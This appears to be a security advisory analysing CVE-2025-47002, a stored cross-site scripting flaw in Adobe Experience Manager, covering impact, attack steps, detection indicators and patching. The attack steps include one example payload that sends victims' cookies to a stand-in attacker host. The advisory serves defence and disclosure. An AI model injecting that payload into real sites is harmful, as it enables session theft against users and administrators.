CVE-2025-47002: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47002 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side without adequate sanitization and later rendered in other users' browsers. Exploitation requires user interaction — a victim must navigate to the page containing the injected content — and network access to the AEM instance (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM platform. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement or manipulation of AEM content. While availability is not directly impacted, the confidentiality and integrity of user sessions and web application interactions are at risk (Adobe Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged account on the AEM instance and victim interaction, which somewhat limits the attack surface (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components) that are rendered to other users.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the injected content.
6. Harvest results: The victim's browser executes the injected script, potentially exfiltrating session cookies, authentication tokens, or performing actions on the victim's behalf within the AEM application (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in form field parameters.
• Logs: AEM error or audit logs recording unexpected content modifications by low-privileged user accounts, particularly involving HTML or script injection in page properties or component fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing specific AEM pages, potentially indicating cookie or credential exfiltration.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing raw <script> tags or JavaScript URIs in text properties that are not part of legitimate authored content.

Adobe has released patches addressing this vulnerability. Users should upgrade to AEM 6.5.23.0 or later for on-premise deployments, or ensure AEM Cloud Service is updated to 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to restrict unauthorized script execution, enforce input validation and output encoding for all user-submitted content, and audit existing AEM content for signs of injected scripts (Adobe Advisory).